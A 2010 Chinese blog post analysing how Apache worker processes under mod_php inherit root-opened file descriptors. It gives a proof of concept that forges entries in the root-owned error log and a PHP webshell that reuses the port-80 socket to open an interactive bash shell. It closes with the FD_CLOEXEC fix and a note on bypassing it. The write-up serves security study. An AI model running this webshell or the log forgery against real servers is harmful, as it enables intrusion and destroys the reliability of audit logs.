分类: LINUX
2010-12-16 17:13:02
[ 目录 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解决方案及后话
0×00 前言
在初学linux编程的时候,都会知道这样一个概念:当你用fork建立一个子进程,父进程的所有内容会被“完完整整”的复制到子进程中。子进程是父进程的一个clone体,除了pid不同,其余一切相同。
再试想一下这样的场景:在Webserver中,首先会使用root权限启动,以此打开root权限才能打开的端口、日志等文件。然后降权到普通用户,fork出一些worker进程,这些进程中再进行解析脚本、写日志、输出结果等进一步操作。
然而这里,仔细思考一下,就会发现隐含一个安全问题:子进程中既然继承了父进程的FD,那么子进程中运行的PHP或其他脚本只需要继续操作这些FD,就能够使用普通权限“越权”操作root用户才能操作的文件。
0×01 POC
为了验证这个想法,我们做了一个POC。测试环境apache2.2.4+mod_php 5.2.14
首先我们查看任意一个apache的worker进程的fd:
[root@testplat ~]# pidof httpd
11117 21009 10472
[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11ÔÂ 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11ÔÂ 11 16:42 ..
lr-x------ 1 root root 64 11ÔÂ 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11ÔÂ 11 16:44 2 -> /usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11ÔÂ 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11ÔÂ 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11ÔÂ 11 16:44 6 -> /usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11ÔÂ 11 16:44 7 -> /usr/local/apache2/logs/access_log
lr-x------ 1 root root 64 11ÔÂ 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00 /usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00 /usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R+ 14:07 0:00 grep httpd
如上所示,果然在apache的子进程中保存了日志的句柄,apache自身是daemon权限,而这两个句柄则是root身份打开的。我们试试利用php fork出来一个进程是否能够继续“越权”写入此句柄。
&6");?>
访问一下,看看是不是的确将12345写入到了root的errorlog中。
[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11ÔÂ 15 14:54 ../logs/error_log
很好,写进去了。完美的证实了我们的想法。既然能够只用一个低权限的webshell就能读写web日志,那么以后所有的Web日志将不再有可靠性,任何信息都能加以伪造。当然伪造或删改日志不会如此简单,还有一些限制需要一定步骤,有心人继续研究吧。
0×02 深入利用
换一种思路,既然文件可以读写,那么webserver的80端口socket是否也能加以利用呢?linux系统所有都是文件,既然都是FD,肯定也能适用。首先找一下我们连接的FD号,我这里测试时写死为9,因为肯定是第一个连接:
system("python -c 'import pty;pty.spawn(\"/bin/bash\")' 1>&9 0>&9 2>&9 ;" );
?>
接着我们用nc访问一下我们的脚本:
C:\Users\GaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 权限不够
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp)
bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html
可见成功复用了我们连接服务器的socket,直接nc提交一个GET请求之后就返回了一个交互式的shell。这一切只需要一个简单的webshell即可完成。
利用80端口的socket复用,我们继续下去可以做穿墙等一系列更为猥琐的事情。
0×03 解决方案及后话
通过上文的分析,我们了解到,利用linux特性FD的继承,将会导致非常严重的越权问题。这本身就可以算作是一种类型的安全漏洞,不仅仅是apache,不仅仅是webserver,可能其他的网络应用都会存在类似的漏洞。
实际上Linux系统自身在设计时也考虑到了这一类安全问题。系统给出的解决方案是:close_on_exec。当父进程打开文件时,只需要应用程序设置FD_CLOSEXEC标志位,则当fork后exec其他程序的时候,内核自动会将其继承的父进程FD关闭。
这样就解决了以上说明的问题,因为当你system其他进程时,所有的fd将不再继承,则无法再利用。而你作为较低权限的进程,也无法自己打开这些文件,所有操作都会报告权限不足。
在撰写此文时,发现Apache已经意识到了此安全问题,并在最近的版本中修复了,对所有打开的FD都加入了FD_CLOSEXEC标识符。参见:
但是(是的,还有但是),这个解决方案并不完美。内核认为,只有你在fork后再执行exec调用时,才会帮你去除这些继承的FD,而如果我一切操作都在
exec之前完成,那所有的保护都将是浮云。如何做到这一切?如果php自身是通过mod_php加载入apache自身的进程空间,而通过PHP的ld
函数,又可以加载一个动态链接库进入本进程上下文。这样,由于没有进行exec,因此fd依旧继承,在so中写入代码操作FD,同样可以读写修改日志文
件,或者复用socket。
那如何完美的解决此问题呢?我想除非只有apache修改自身架构,子进程和主进程交互,告知每次访问的结果和数据,主进程负责写日志和输出结果。这样无
需在子进程中留下任何文件句柄,单单负责脚本解析即可。子进程交给主进程的信息可能是假的,然而这样至少不能影响到之前的信息。
补充:
文件描述符是计算机科学中的一个术语,是一个用于表述指向文件的引用的抽象化概念。
文件描述符在形式上是一个非负整数。
实际上,它是一个索引值,指向内核为每一个进程所维护的该进程打开文件的记录表。当程序打开一个现有文件或者创建一个新文件时,内核向进程返回一
个文件描述符.在程序设计中,一些涉及底层的程序编写往往会围绕着文件描述符展开。但是文件描述符这一概念往往只适用于UNIX、Linux这样的操作系
统。
优点
文件描述符的优点主要有两个:
* 基于文件描述符的I/O操作兼容POSIX标准。
* 在UNIX、Linux的系统调用中,大量的系统调用都是依赖于文件描述符。
缺点
文件描述符的概念存在两大缺点:
* 在非UNIX/Linux操作系统上(如Windows NT),无法基于这一概念进行编程。
* 由于文件描述符在形式上不过是个整数,当代码量增大时,会使编程者难以分清哪些整数意味着数据,那些意味着文件描述符。因此,完成的代码可读性也就会变得很差。
chinaunix网友2010-12-17 15:09:11
很好的, 收藏了 推荐一个博客,提供很多免费软件编程电子书下载: http://free-ebooks.appspot.com